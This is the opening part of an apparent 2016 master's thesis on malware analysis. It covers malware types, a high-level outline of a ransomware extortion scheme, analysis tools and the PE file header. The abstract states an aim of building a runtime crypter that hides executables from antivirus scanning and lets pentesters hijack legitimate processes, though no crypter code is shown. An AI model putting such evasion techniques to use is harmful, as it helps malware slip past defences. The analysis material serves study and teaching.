You are on page 1of 94

Malware Analysis & Forensics

By Asif Durani

Master Thesis in Software Engineering and Management

1st Adviser: Prof Dr. -Ing. Andreas Mayer


2nd Adviser: Mohammad Munaf
Matriculation Number : 192422

Heilbronn, 2016
Abstract

Malware is a big problem. The problem is developing at an expanding pace.


Malware is turning out to be more sophisticated. The main focus of this thesis is
malware and its analysis these days with the techniques that are used by malware
designers and security experts. This document presents the process for analyzing
malware and applies this procedure on malware samples. The objective is to
analyze PE malformations, chart malware in general and suggest a procedure for
analyzing such malware. This thesis includes a comparative analysis of existing
antivirus detection method, developing an application which is capable for
protecting files from debugging, API hooking and keep a program undetectable
by anti-virus system.

The purpose of this thesis is to determine exactly what a particular suspect binary
can do, how to detect it and to develop a Net-Protector (a runtime PE crypter).
Crypter is an application that allows the users to encrypt the executable file and
to avoid the antivirus detection so that they are not deleted by the antivirus. The
complete Net-Protector project including source code will be published on the
Server4Sale blog. The Net-Protector gets PE binary as the input, a random key is
generated which is used to encrypt the input file. Finally, the encrypted result is
saved into the resource section of the stub which is the core of the program and
its mission to carry out the file decryption in the memory and file execution or
other custom options.

| Abstract 2
Problem Description

During security assessments a wide range of publicly available or custom made


tools are utilized by the Penetration Testers as part of their attempts to avoid
security controls of the targeted system. Allot of these tools are frequently
detected by the anti-virus products as being suspicious and the antivirus plays a
very important role to detect and remove malicious software's whereas for
hackers and pentesters it does make a huge difference. During the post
exploitation pentesters aim to upload some tools so that they can have better
control but the antivirus will detect these tools as malicious files.

| Problem Description 3
Acknowledgements
This thesis becomes a reality with the kind support and help of many individuals. I
would like to extend my sincere thanks to all of them. I would first and foremost
like to thank Server4Sale, and especially Mr Munaf and Prof Dr. -Ing. Andreas
Mayer for encouragement and constant supervision in completion of this thesis.

I am highly indebted to Software Engineering and Management (MSEM) program


professors and staffs for their support and for what they taught me during my
studies at the Hochschule Heilbronn that had been an aid in completing this
endeavor.

My thanks and appreciation also goes to my colleagues and people who have
willingly helped me out with this abilities.

| Problem Description 4
Table of Contents

Abstract ................................................................................................................. 2
Problem Description .............................................................................................. 3
1. Introduction ................................................................................................... 12
1.1 Introduction............................................................................................. 12
1.2 Purpose of Malware Analysis ................................................................... 12
1.3 Objective ................................................................................................. 12
1.4 Motivation ............................................................................................... 13
1.5 Roadmap ................................................................................................. 13
2. Malware .......................................................................................................... 14
2.1 Malware .................................................................................................. 14
2.2 Dangerous Financial Malware 2016 ........................................................ 15
2.3 Types of Malware .................................................................................... 16
2.4 Cryptovirology / Ransomware ................................................................ 18
2.4.1 Cryptoviral Extortion ......................................................................... 18
2.4.2 An Insight into Cryptoviral Extortion.................................................. 19
2.4.3 Cryptoviral Extortion Attack (Ransomware) ...................................... 19
3. Malware Analysis Techniques ........................................................................ 20
3.1 Basic Static Analysis ................................................................................. 20
 Antivirus Scanning ................................................................................... 20
 A Fingerprint for Malware ....................................................................... 21
 Finding Strings ......................................................................................... 21
 Linked Libraries and Functions................................................................. 21
 Detecting Packers with PEiD .................................................................... 21
 Examining PE Files with PEview ............................................................... 21

| Problem Description 5
 Editing the Resource Section ................................................................... 21
3.2 Basic Dynamic Analysis: ........................................................................... 22
 Malware Sandbox .................................................................................... 22
 Monitoring file with process monitor ...................................................... 22
 Viewing Processes with Process Explorer ................................................ 22
 Packet Sniffing with Wireshark ................................................................ 23
 Api Hooking to monitor software ............................................................ 23
3.3 Tools ........................................................................................................ 23
3.3.I DAPro v5. 2 ........................................................................................ 23
3.3.2 OllyDbg v1. 10 ................................................................................... 24
3.3.3 Virtual Machines ............................................................................... 24
3.3.4 VMware Server .................................................................................. 24
3.3.5 VirtualBox .......................................................................................... 24
3.3.6 Process Monitor ................................................................................ 24
3.3.7 Tcp Dump .......................................................................................... 25
3.3.8 Wireshark .......................................................................................... 25
3.3.9 RadASM ................................................................................................ 25
3.3.9 PEiD v0.94 ......................................................................................... 25
3.3.10 RDG Packer Detector v0.6.5 ........................................................... 25
3.3.11 CFF Explorer.................................................................................. 26
3.3.12 Resource Hacker ........................................................................... 26
3.4 Automated Online Sandbox Services ....................................................... 26
4. The Life of Binaries .......................................................................................... 27
4.1 Special Terms........................................................................................... 27
4.2 Basic Structure......................................................................................... 31
4.2.2 PE File Header....................................................................................... 34
| Problem Description 6
4.3 PE Malformations .................................................................................... 38
4.4 Field Malformations ................................................................................ 38
4.5 PE Parser ................................................................................................. 40
5. X86 Assembly & Shellcode .............................................................................. 42
5.1 Shellcode ................................................................................................. 42
5.1.2 Levels of Abstraction ......................................................................... 42
5.1.1 High-level Language .......................................................................... 43
5.1.2 Machine code .................................................................................... 43
5.1.3 Low-level languages .......................................................................... 43
5.2 Assembly language .................................................................................. 43
5.2.1 Registers ............................................................................................ 43
5.2.2 Main Memory .................................................................................... 44
5.2.3 Instructions ........................................................................................... 45
6. Anti-Detection and Anti-Reversing .................................................................. 46
6.1 Malware Detection Methods ...................................................................... 46
6.1.1 String scanning .................................................................................. 46
6.1.2 Algorithmic scanning ......................................................................... 46
6.1.3 Integration checker ........................................................................... 46
6.1.4 Code emulation ................................................................................. 46
6.1.5 Heuristic analysis ............................................................................... 47
6.2 Malware, Anti-Detection and Anti-Reversing .............................................. 47
6.2.1 Obfuscation ....................................................................................... 47
6.2.2 Anti-Virtual Machine ......................................................................... 48
6.2.3 Anti-Emulation .................................................................................. 48
6.2.3 Anti-Debugging .................................................................................. 49
6.2.4 Anti-Disassembly ............................................................................... 49

| Problem Description 7
7. Net-Protector .................................................................................................. 51
7.1 Target Audience and Requirements ........................................................ 51
7.2 Requirements .......................................................................................... 51
7.2.1 System Requirements ........................................................................ 52
7.2.2 Hardware and Software..................................................................... 52
7.2.3 Common Features................................................................................. 52
7.3 Packer Classification ................................................................................ 53
7.4 Technologies............................................................................................ 54
7.4.1 Programming Languages and Target Platform ................................... 54
7.4.2 Net-Protector Core Fundamentals .................................................... 55
7.4.3 Net-Protector Workflow .................................................................... 55
7.5 The RunPE method .................................................................................. 56
7.6 Stub Design.............................................................................................. 59
7.6.1 Finding Windows Function ............................................................... 59
7.7 Net-Protector Features: ........................................................................... 61
7.7.1 Bypass Antivirus Dynamic Analysis .................................................... 61
7.7.2 Anti-debugging Techniques ............................................................... 62
7.7.3 IAT Import Address Table Redirection ............................................... 62
7.7.4 API Emulation .................................................................................... 63
7.8 How to use Net-Protector........................................................................ 63
7.9 Testing ........................................................................................................ 66
7.10 Comparison of Net-Protector and existing Encrypters. ......................... 67
8 Future work & Conclusion ............................................................................. 69
8.1 Future work ............................................................................................. 69
8.2 Conclusion ............................................................................................... 70
Bibliography ......................................................................................................... 71

| Problem Description 8
Appendix.............................................................................................................. 77
Appendix A....................................................................................................... 78
Appendix B ....................................................................................................... 79
Appendix C ....................................................................................................... 82
Appendix D ...................................................................................................... 85

| Problem Description 9
List of Abbreviations

Abbreviation:
1. The act or product of
shortening.
The American Heritage
Dictionary of the English
Language, 4th edition.

Abbreviation Complete Form


API Application Programming Interface
American Standard Code for Information
ASCII Interchange
CPU Central Processing Unit
C&C Command and Control
DLL Dynamic-Link Library
DNS Domain Name System
DoS Denial of Service
DDoS Distributed Denial of Service
EP Entry Point
GNU GNU’s Not Unix
GPL General Public License
GUI Graphical User Interface
HTTP Hypertext Transfer Protocol
HTML Hypertext Markup Language
IAT Import Address Table
IDS Intrusion Detection System
IRC Internet Relay Chat
ISS Instruction Set Simulator
MAC Media Access Control address
Microsoft Network. Here: Microsoft
MSN Network Messenger
NOP No Operation

| Problem Description 10
OEP Original Entry Point
P2P Peer-to-Peer
PE Portable Executable
RVA Relative Virtual Address
TCP Transport Control Protocol
UPX Ultimate Packer for executables
VM Virtual Machine

| Problem Description 11
1. Introduction

1.1 Introduction
This thesis will introduce the fundamental approaches to malware analysis,
antivirus evasion techniques and describing the various types of malwares such
as Trojan horses, viruses, spyware, root-kit and ransom-ware. These days
malware can practically do anything—focus on a single or various hosts. Malware
can lead to varying levels of corporate and personal torture if the information is
stolen. You need to be updated of the threats and goals of malware in order to
better combat its activity. With a better understanding of what malware does and
how it can behave, the ability to protect your network from infection grows.

1.2 Purpose of Malware Analysis


The purpose of malware analysis is to provide the information you need to
respond to a system intrusion. The main goal of Malware analyst is to determine
exactly what happened and what a particular suspect binary can do, how to
detect it on the network, how to measure its damage and malware analysis can
be utilized to create host-based and network signatures.
Network signatures are used to detect malicious activity by monitoring network
traffic whereas Host-based signatures or indicators are used to detect malicious
code on the infected computer.

1.3 Objective
The objective of this thesis is to pick up information about the procedure of the
malware analysis and common techniques utilized by the malware developers
and analysts. The main objective is to develop Net-Protector ( security program)
particularly intended to pack and protect the binary files. Another reason for the
research is to find out the antivirus evasion techniques that can bypass the
signature, heuristic, dynamic analysis of the antivirus. By this approach the user
can easily avoid the antivirus detection and protect the PE files.

| 1. Introduction 12
1.4 Motivation
Malware is a developing problem, it is a concern for everyone involved in
computer security and everyone using the computer. Malware is the term given
to any product which causes harm to your computer. There are various sorts of
malwares such as the computer viruses, Trojans, worms, adware, spyware and all
of these are uniquely complex and sophisticated [1]. Thus, the information on the
structure, techniques and behavior of the malware is needed to understand how
the computers and the data can be best protected.

One of the reasons for developing Net-Protector is to help Server4Sale which was
formed in 1998 in the US state of Virginia, as an online broadcasting solutions
company. In the year 2003, Server4Sale established its first offshore support
center in the countries like Pakistan, Canada, UK and Romania and their business
model is hosting servers and providing penetration testing services. This research
will help pentesters to perform successful pentest during the post exploitation to
upload tools, bypass the antivirus detection and host based firewall by hijacking a
legitimate process that is approved to reach the Internet.

1.5 Roadmap
This thesis contains a total of 7 chapters, the first six chapters will outline some
of the theoretical aspects of today’s malware and its analysis to create an
understanding of what malware is, it's different types, understand portable
executable (PE) file format, malformations of PE files, the antivirus detection.

The chapter 7 of the thesis outlines the requirements of Net-Protector which


has been developed for the Server4sale and describes the technologies, API
design and the implementation of some other features of Net-Protector.

| 1. Introduction 13
2. Malware

2.1 Malware
The story of malicious software started around 1982 when the first virus with
replicating abilities and harmful intent was composed by a secondary school
student called Rich Skrenta for the Apple II systems [2, page 02]. The virus was
called “The Elk Cloner” and had infected a computer when the machine was
booted from an infected floppy disk, copying itself to the new machine. When an
uninfected floppy disk was inserted into an infected machine, it copied itself to
the floppy thus, spreading itself. Its behavior was relatively harmless it displayed
a small poem every 50th boot however, it also had the unintended effect of
overwriting code on particular systems [2, page 02].

Elk Cloner:
The program with a personality
It will get on all your disks
It will infiltrate your chips
Yes, it’s Cloner!
It will stick to you like glue
It will modify RAM too
Send in the Cloner!

Since the malware was first created, much have changed in the world of malware
but some things did not change. Viruses are still being created and
distributed by teenagers, students and professionals. However, we are not only
facing viruses of different sorts but also a wide range of malicious software's
from adware to Trojans to software distributing spam. The programmers also
appear to have changed from unorganized individuals to more or less playing
around with programming for fun. The malware is now a big industry where
services

| 2. Malware 14
like Distributed Denial of Service (DDOS), spam and phishing are on sale [3]. Not
only the malicious content is more diverse than its originators but also it is more
sophisticated.
Polymorphism, encryption, advanced exploits, intricate spreading and proficient
developers all make the software more sophisticated, harder to detect and harder
to delete. The most recent area of development lies in the way malware spreads
and communicates. The Elk Cloner spreads only via floppy disks, no network
communication were implemented. Today’s malware spread through various
media the Internet, removable drives, network and seems genuine software.
Communication is achieved, both between infected machines and controls, by
several different communication protocols and organizations from centralized to
peer-to-peer [4]. This development not only makes the malicious software more
dangerous, as new ways to make use of the software are found but also makes
the detection, analysis and removal of the software increasingly more difficult.
Examples are botnets with the Storm botnet being the most reputed today, which
run on machines all over the world without the user's knowledge, rendering the
machines at the vim of the botnet controllers.

2.2 Dangerous Financial Malware 2016


Table 1 Top 10 Financial Malware [5]

Top 10 Most Dangerous Financial Malware


1 Zbot/Zeus
2 Zeus Gameover (P2P) (Zeus family)
3 SpyEye (Zeus family)
4 Ice IX (Zeus family)
5 Citadel (Zeus family)
6 Carberp (Zeus family)
7 Bugat (Zeus family)
8 Shylock (Zeus family)
9 Torpig (Zeus family)
10 CryptoLocker / Loci

| 2. Malware 15
Table 1 contains list of the most well-known pieces of malware that target
financial data however, there are numerous different variations and types of
credentials stealing malware out there.

Following are the two examples of financial Trojans.

Gameover Zeus is a financial stealing malware which depends upon a peer-to-


peer botnet infrastructures, it is utilized by cybercriminals to gather monetary
information, targeting client credentials, credit card numbers and passwords [5].
GameOver Zeus is evaluated to have contaminated 1 million clients around the
globe.

Cryptolocker malware encrypts victim data and displays a message which


expresses that your private data can be decrypted for a sum of money in a limited
period of time [5]. Crypto-Locker is a ransomware Trojan which spreads through
email attachments, this ransomware is known to target organizations and
institutions through phishing assaults.

2.3 Types of Malware


The antivirus companies differentiate and name malware by its behavior [6].

Figure 2.1 illustrates different types that most malware falls into.

Launcher
Spam-sending malware Backdoor

Rootkit Botnet

Worm Malware Downloader

Figure 2.1 Different types of Malware

| 2. Malware 16
Worm
Malicious code that copies itself and infects other computers, It often spans
multiple categories. For instance, a program may have a keylogger that gathers
passwords and a worm part that sends spam. Don’t get too caught up in
classifying malware as indicated by its functionality.

Rootkit
Malicious code intended to cover the presence of other codes. These are usually
paired with other malwares, for example, a backdoor, to permit remote access to
the attacker and make the code difficult for the victim to detect.

Spam-sending malware
Malware that infects a client's machine and then uses that machine to send spam.
This malware generates income for attackers by permitting them to offer spam-
sending services.

Launcher
Malicious program used to launch other malicious programs. Usually, launchers
use nontraditional techniques to launch other malicious programs in order to
ensure stealth or greater access to a system.

Backdoor's
Malicious code that installs itself onto a computer to permit the attacker access.
Backdoor's often let the attacker connect to the computer and execute
commands on the system.

Botnet
Like a backdoor, in that it permits the attacker access to the system but all bots
receive the instructions from a command-and-control server.

Downloader
The downloader program will download and install additional malicious code.
Downloader is a malicious code that exists to download and execute other
malicious codes. Downloader's are installed by attackers when they first get
access to a system.

| 2. Malware 17
Zero day Malware
A zero-day virus is a previously unknown malware for which specific antivirus
software signatures are not yet available. A zero day vulnerability refers to a hole
in programming that is unknown to the vendor. This security hole is then
exploited by hackers before the vendor becomes aware and hurries to fix it.

2.4 Cryptovirology / Ransomware


Ransomware has turned into the new standard for cyber-criminals. Consistently,
there are new ransomware threats with new functionalities and changes.
Here, I would like to demonstrate as to why the ransomware attacks are
dangerous, how attackers make money by executing Ransomware attacks and
how ransomware attack is generated.

Moti Yung and Adam Young lists the main possible applications for Cryptovirology
and gets into details of the attacks when we start combining Public-key
cryptography on one hand and the viruses on the other [7].

2.4.1 Cryptoviral Extortion


An active attack in which Malware encrypts the victim's files. Attacker demands
ransom in return for the randomly generated symmetric key.
The ransomware operates in a way that is much similar to the ones used by
conventional blackmailers, in the light of the fact that they exploit on fear, which
ultimately forces victims to accomplish something silly, such as paying
cybercriminals. Fear of losing your job because, you lost important documents to
ransomware can handicap. Getting locked out of your system or never being able
to open your files again is scary and distressing and the threat is still growing.
There are fifty new ransomware families that have already been seen within the
first five months of 2016 itself which is more than the numbers seen in 2014 and
2015 combined [7].

| 2. Malware 18
2.4.2 An Insight into Cryptoviral Extortion
Let’s go directly to the setting of the cryptoviral extortion [7].

The setting for cryptoviral Extortion

1. The host computer system has a valuable data D that is not backed
up (i.e., cannot be recovered elsewhere).
2. The virus has access to a secure random bit generator.
3. The virus has access to a secure symmetric cipher.
4. The virus has access to a secure asymmetric cipher.

2.4.3 Cryptoviral Extortion Attack (Ransomware)


1) Attacker generates a private key and corresponding public key .

The attacker places in virus and deploys virus.


2) Virus arrives on the host machine and gets activated as a result it
generates a random symmetric key k that encrypts drive D with k.
3) The virus encrypts symmetric key k with to obtain a ciphertext C,
informs the victim of the attack and give contact information of the
attacker.
4) Victim contacts the attacker and gives the attacker ciphertext C along
with the ransom.
5) The attacker obtains the ransom and then the attacker decrypts
ciphertext C and uses to obtain [k]. The key k is then sent to the victim.
6) The victim obtains k, decrypts C with it and thereby recovers D .

| 2. Malware 19
3. Malware Analysis Techniques

The previous chapter focuses on the "Malware", its different types and how
dangerous it can be whereas this chapter is all about techniques of the malware
analysis.

There are two basic ways to approach malware analysis, its statics and dynamics.

Static analysis
Basic static analysis consists of examining the executable file without viewing the
actual instructions. Basic static examination can confirm whether a file is
malicious, give information about its functionality, and sometimes provide
information that will permit you to create basic system signatures [8,Page 8].

Dynamic analysis
Dynamic analysis Includes examining the malware during execution. These
methods are helpful in an attempt to obtain the information which cannot be
gathered through other methods.

These methods are classified as basic or advanced.

3.1 Basic Static Analysis


This is the first step. Here we will use multiple ways to extract useful information
from the executable [8, Page 8].

 Antivirus Scanning
At the point when first investigating the malware, the first step is to run it via the
different antivirus programs, which might have already identified it. We use
antivirus tools (www.virustotal.com) to confirm maliciousness. VirusTotal is a free
service that analyzes suspicious files and URLs and facilitates the quick detection
of viruses, worms, Trojans, and all kinds of malware [9].

| 3. Malware Analysis Techniques 20


 A Fingerprint for Malware
Hashing is a typical technique used to uniquely distinguish malware. The malicious
software is run through a hashing program that delivers a unique hash that
distinguishes a malware (a kind of fingerprint) . MD5 and SHA-1 hash function are
commonly used for malware analysis. For example, we use CF-Explorer
application to identify hash. An overview of CF-Explorer is given in section 3.3.

 Finding Strings
Searching through the strings can be a straightforward approach to get hints
about the usefulness of a program. For example, Using CF explorer to get
information from a file's string. If the program can reach a URL, then you can find
the URL saved as a string in the program.

 Linked Libraries and Functions


A standout amongst the most valuable information that we can assemble around
an executable is the list of functions that it imports. For example, Using
dependency Walker future of CF-Explorer to explore dynamically linked libraries
will give us list of names and functions that it imports.

 Detecting Packers with PEiD


One of way to recognize the kind of packer or compiler utilized to construct an
application is with the PEID program which make analyzing packed file easier. An
overview of PEID is given in section 3.3.

 Examining PE Files with PEview


The PE file format stores interesting information within its header. We can use
PEview utility to browse through valuable information such as, last modified date
and time etc. An overview of PEview is given in section 3.3.

 Editing the Resource Section


Once we done with analyzing the header for the PE file, we can examine resource
section. You can use the free Resource Hacker tool. An overview of Resource
hacker is given in section 3.3.

| 3. Malware Analysis Techniques 21


3.2 Basic Dynamic Analysis:
The second step in process of the malware examination is dynamic analysis. This
is carried out by the executing programs either on the real or the virtual
processor.

Following are the some of the basic dynamic analysis techniques [8, Page 8]

 Malware Sandbox
The quick and dirty approach (using a malware sandbox). Many malware
sandboxes such as www.malwr.com, Norman sandbox and GFI sandbox will
analyze malware for free. A list of automated online sandbox services is given in
section 3.6. These tools provide easy to understand output. For example, analysis
summary, file activity, created mutexes, registry activity, network activity,
virustotal results etc.
Malware sandbox additionally have a few downsides such as it frequently
identifies when it is being processed in a virtual machine and if it is detected then
the malware will stop running or it will carry on in an unexpected way .

 Monitoring file with process monitor


Process Monitor is an advanced monitoring tool for windows that provides a way
to monitor certain registry, network, process, file system and thread activity.
Process Monitor is an advanced monitoring tool for Windows that provides a way
to monitor certain registry, file system, network, process, and thread activity .

 Viewing Processes with Process Explorer


The process Explorer is a great task manager that should be running when you are
performing a dynamic analysis. Process Explorer monitors the processes running
on a system and shows them in a tree structure that displays child and parent
relationships. An overview Process Explorer is given in section 3.3.

| 3. Malware Analysis Techniques 22


 Packet Sniffing with Wireshark
Wireshark can be utilized for both great and evil. It can be utilized to examine
interior systems and system use, investigate application issues. But, it can likewise
be used to sniff passwords. An overview of wireshark is given in section 3.3.

 Api Hooking to monitor software


WinAPIOverride is one of the very good tools as it is an advanced API monitoring
software for 32 and 64 bit processors. You can monitor and/or override any
function of a process. This can be done for API functions or executable internal
functions [10].

3.3 Tools
Throughout the basic malware analytical process a number of software tools have
been used to thoroughly investigate malware samples. The tools are listed and
briefly described below, also indicating their respective categories.

Disassemblers and Debuggers

Disassemblers and debuggers are used to look at the malware sample code and to
do static analyses. IDA Pro & OllyDbg these two programs are chosen based on
several aspects. They are the two most commonly used tools for reverse
engineering. Another aspect is that IDA Pro is a proprietary commercial product
whereas OllyDbg is free.

3.3.I DAPro v5. 2


This is the Interactive DisAssembler Pro by Hex-Rays [11]. It is a commercial
debugger and disassembler widely used for reverse engineering and debugging. It
supports a variety of file formats and operating systems. It also has support for
plugins and scripting [11].

| 3. Malware Analysis Techniques 23


3.3.2 OllyDbg v1. 10
OllyDbg is a 32-bit assembler-level debugger written by Oleh Yuschuk [12]. It is
licensed as shareware. OllyDbg provides most of the same functionality as IDA Pro
although they may work differently at times, interpreting code differently when
encountering obfuscated binaries.

3.3.3 Virtual Machines


VMs are virtualization environments used in order to run malware samples in a
controlled environment. VMware’s VM was chosen on the basis that it is one of
the most commonly used VMs and that it is available free of charge.

3.3.4 VMware Server


This product from VMware, Inc. is a free virtualization program that allows the
user to virtualize several different operating systems on one computer [13]. The
virtualization supports snapshots of the state of the virtual machine. This enables
the user to infect a virtual machine with malware, observe behavior and
immediately revert to the uninfected state if desired. Another benefit is that it is
possible to run several instances of an operating system on a single machine.
These functionalities save both time and hardware.

3.3.5 VirtualBox
VirtualBox is another virtualization environment freely available, this one from
Sun Microsystems, Inc [14]. The VirtualBox has about the same functionality as
VMware Server.

3.3.6 Process Monitor


The Process Monitor is used for analyzing system properties of Windows [15].
Process Monitor shows real-time logging of the file system, registry accesses and
processes and threads, with support for filtering and sorting. Process Monitor is a
free software from Sysinternals, a subsidiary of Microsoft.

| 3. Malware Analysis Techniques 24


3.3.7 Tcp Dump
Tcpdump is a protocol packet capture and dumper program by Lawrence Berkeley
Laboratory [16]. The network tool uses the libpcap library to capture packets, the
same as Wireshark. Tcpdump does not, unlike Wireshark, have a GUI. An example
command for sniffing packets to and from a VM is sudo tcpdump -A -n -s 0 -X host
<VMaddress>. Tcpdump works on most, if not all UNIX platforms, and thus also
Mac OS X which was used in this analysis. Tcpdump is released under BSD License
and is free and open source software [16].

3.3.8 Wireshark
Wireshark is the world’s foremost network protocol analyzer. It provides similar
functionality to tcpdump, but presents a GUI, offers support for plugins, and has
many more filtering, sorting, and protocols supported. Wireshark is free and open
source, released under GNU GPL2 [17].

3.3.9 RadASM
RadASM is a free IDE designed for writing programs in assembly language..
RADASM is a code editor which supports different programming languages such
as Masm. GoAsm. Fasm etc.

Packer Detectors and Unpackers

3.3.9 PEiD v0.94


PEiD is the name of a small tool that can detect the most common packers,
encryptors and compilers [18]. The name is short for Portable Executable
Identification which is derived from Windows executable file format Portable
Executable (PE). The tool tries to identify if the binary has been packed, and if so,
tries to determine which packer was used by searching for specific byte
sequences left by the packer. The tool is perhaps the most widely used tool for
packer detection by the malware analysis and reverse engineering community
[18].

3.3.10RDG Packer Detector v0.6.5


RDG Packer Detector is a program that tries to detect which packer is used on an
executable [19]. It works in the same way as PEiD. We were able to obtain some
| 3. Malware Analysis Techniques 25
positive results using the RDG Packer Detector when PEiD failed to produce any
results.

3.3.11 CFF Explorer


CFF explorer is tool used to edit metadata's fields and flags. If you're
programming something that has to do with .NET metadata, you will need this
tool [20] . The resource viewer supports .NET image formats like icons, bitmaps.
You'll be able to analyze .NET files without having to install the .NET framework,
this tool has its own functions to access the .NET format [20] .

3.3.12 Resource Hacker


Resource Hacker has been designed to be the complete resource editing tool:
compiling, viewing, decompiling and recompiling resources for both 32bit and
64bit Windows executables [21]. Resource Hacker can open any type of Windows
executable (*.exe; *.dll; *.scr; *.mui etc) so that individual resources can be
added modified or deleted within these files [21].

3.4 Automated Online Sandbox Services


Using automated Online sandboxie to analyze suspicious file's behavior provides
comprehensive high level malware analysis reports. One of the simple way to
analyze the behavior of a file is to upload it to the free online sandbox services to
get analyzed automatically.

Table 3.1 contains the list of online sandboxie services .


Table 3.1 Online Sandboxie service

ThreatExper http://www.threatexpert.com/
Malwr http://www.malwr.com/
IObit Cloud http://cloud.iobit.com/
ViCheck http:// ViCheck.com/
CWSandbox https://mwanalysis.org

| 3. Malware Analysis Techniques 26


4. The Life of Binaries

In this chapter we will cover Portable Executable and Common Object File Format
(PECOF). Malicious binaries, are often in the Windows Portable Executable (PE)
format. Hence, it’s good to be capable of performing in-depth analysis of this file
format. The format of a file can tell us much about the function of its program.
We will also talk about exactly what happen when we make a executable file. The
PE file format is a type of format that is used by both x86 and x64 windows
executables, DLLs etc. Knowledge about the PE file format is necessary to analyze
the malware, how PE malformations work and affect parsers, we can analyze
which functions have been imported, exported and what type of linking is there
i.e. runtime, static or dynamic.

Microsoft migrated to the PE format in 1993 with the release of Windows NT 3.1 [29,
Page 11]. The PE file format contains the data which is needed for the Windows
OS loader to outline executable code in memory. It supports not only 32-bit but also
64-bit system architectures today.

The two PE file types are EXE and DLL. DLL files are meant to export functions or data
that other programs can use. Therefore, they usually only run within the context of
other programs. They usually have the file extensions including, .SYS, .DLL, .OCX, and
.DRV [22, Page 11] whereas EXE files run in their own process instead of being loaded
into the context of other programs. They usually have the file extensions including, .EXE,
.SCR, .COM.

4.1 Special Terms


This section defines frequently used terms that are necessary to understand the
PE format. The first four definitions are related to the building process of EXE and
DLL file.

| 4. The Life of Binaries 27


The EXE file building requires four stages and it uses different tools like
preprocessor, compiler, assembler, and linker.

Source code file -


hello.cpp
C preprocessor

PreProcessed code
file - hello.i

C Compiler
assembly code -
hello.s

Assembler
Object code -
hello.o

Linker/link
Executable code -
hello.exe

Figure 4.1 Compile and link executable code

The Figure 4.1 illustrates the relationship of the terms preprocessor, Compiler,
Assembler, Linker. The linker combines object files and libraries to build the
executable file.

Definition (Preprocesser) 'The C preprocessor is a macro processor that is used


automatically by the C compiler to transform your program before actual
compilation.' [23] It is also known as a macro processor because it allows to

| 4. The Life of Binaries 28


define macros. The first step of C compilation is Preprocessing which includes
files compilation instructions and macros.

Definition (Compiler) 'A compiler is a special program that processes statements


written in a particular programming language and turns them into machine
language or "code" that a computer's processor uses' [23] . Compilation is the 2nd
step and It draws the output of the preprocessor. the source code and generates
assembler source code.

Definition (Assembler) 'An assembler is a type of computer program that


interprets software programs written in assembly language into machine
language, code and instructions that can be executed by a computer' [24] .
Assembly is the 3rd step and it draws the assembly source as input and output is
stored in an object file.

Definition (Linker) `Linking is the process of collecting and combining various


pieces of code and data into a single file that can be loaded (copied) into memory
and executed. On modern systems, linking is performed automatically by
programs called linkers' [26,Page 18]. The output of a linker is called image file.

The Table 4.1 illustrates the relationship of the terms which are related to
addresses in the PE file format.

Addresses in Pe File
Physical address
Base address
Relative virtual addresses (RVA)
Virtual addresses (VA)
Table 4.1 Terms related to Addresses of PE format

| 4. The Life of Binaries 29


Definition (physical address) A physical address is the offset of a certain byte.
Physical addresses are important to access parts of the PE file that must be read
from the disk [26,Page 18].

Definition (base address) The base address is a unique location which serves as a
reference point for other memory locations [26, Page 18].

PE files save a preferred base address in a field called ImageBase. In case the
image file cannot be loaded at the required address into the process space,
another base address is applied, which is known as debasing.

Definition Relative virtual addresses (RVA) are used while an image file is loaded
in memory. They are relative to the base address of the image file or to another
RVA [26,Page 9].

RVAs are a way to specify addresses in memory independently from the base
address. This makes it possible to rebase the file without having to re-calculate all
in-memory addresses in the file because, of that they are commonly used in the
PE format.

Definition Virtual addresses (VA) are absolute in-memory addresses .

Although the PE/COFF specification defines a VA this way, it uses the term also for
addresses that are actually relative to the image base [26, Page 9].

Definition (section) A `basic unit of code or data within a PE or COFF file' [26,
Page 9] is called a section. Sections are defined by their section header in the
Section Table [26, Page 24].

Example An EXE file is loaded to the base address 0x 20 00 00 and the entry point
is 0x 41 42 (a RVA). The start of execution is then 0x 20 41 42, which is the VA for
the entry point.

| 4. The Life of Binaries 30


4.2 Basic Structure
A portable executable (PE) contains two sections. One is the header and other is
the section which can be subdivided into several sections. The PE format file
layout can somehow be illustrated with the following graphical representation.
DOS Stub

PE Header

Section
Code
Data
Imports
Resources
Overlay

Figure 4.2 Basic structure of PE file

Figure 4.2 describes the normal structure for the PE file. It includes MSDOS Stub, the PE
File Header and the sections. The overlay is optional data appended to the file. In the
picture the blue color represents the header and the tan color represents the section.
The portable executable file format offers a way to execute the code by for the
Windows Operating System and also to store the important data which is
expected to run a program, for example constant data, import library links,
variable data and resource data. It includes MS-DOS file information, Windows NT
file information, Section Headers and section images. The different parts of the PE
are explained hereafter.

| 4. The Life of Binaries 31


4.2.1 The MS-DOS Stub

The first 64 bytes of PE file are MS-DOS Header.It is necessary because MS-DOS
can identify it is a legal executable and runs it in MS-DOS stub mode. The standard
MS-DOS Stub prints the message out `This program cannot be run in DOS mode'.
As we Investigate 'winnt.h' we can see a list of structures that came under the
DOS header . We will only discuss important ones such as e_magic and E_Ifanew.
We can not discuss everything as it is beyond our scope.
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
Code " winnt.h"

The first field, e_magic which is called magic number starts at offset 0, the value
is set to ASCII 'MZ' which represent file is a MS-DOS-compatible executable file.
This is from Mark Zbikowski who developed MS-DOS. The last field,e_lfanew
which specifies a file offset where the PE header can be found. The windows
loader look for this offset to pass over the DOS stub and get directly to the PE
header.

The same information can be found on the CFF-Explorer which is very popular
malware analysis tool for PE file validation.

| 4. The Life of Binaries 32


"MZ"

PE HEADER
Address

Figure 4.2.1 Using Cff Explorer to validate PE file data structure

Figure 4.2.1 illustrates a list of structures that came under the DOS header. We
load putty.exe in CFF-Explorer, using CFF-Explorer we can confirm the offset
value of the structure, DOS MZ header and we can observe that the file has the
data type WORD.

| 33
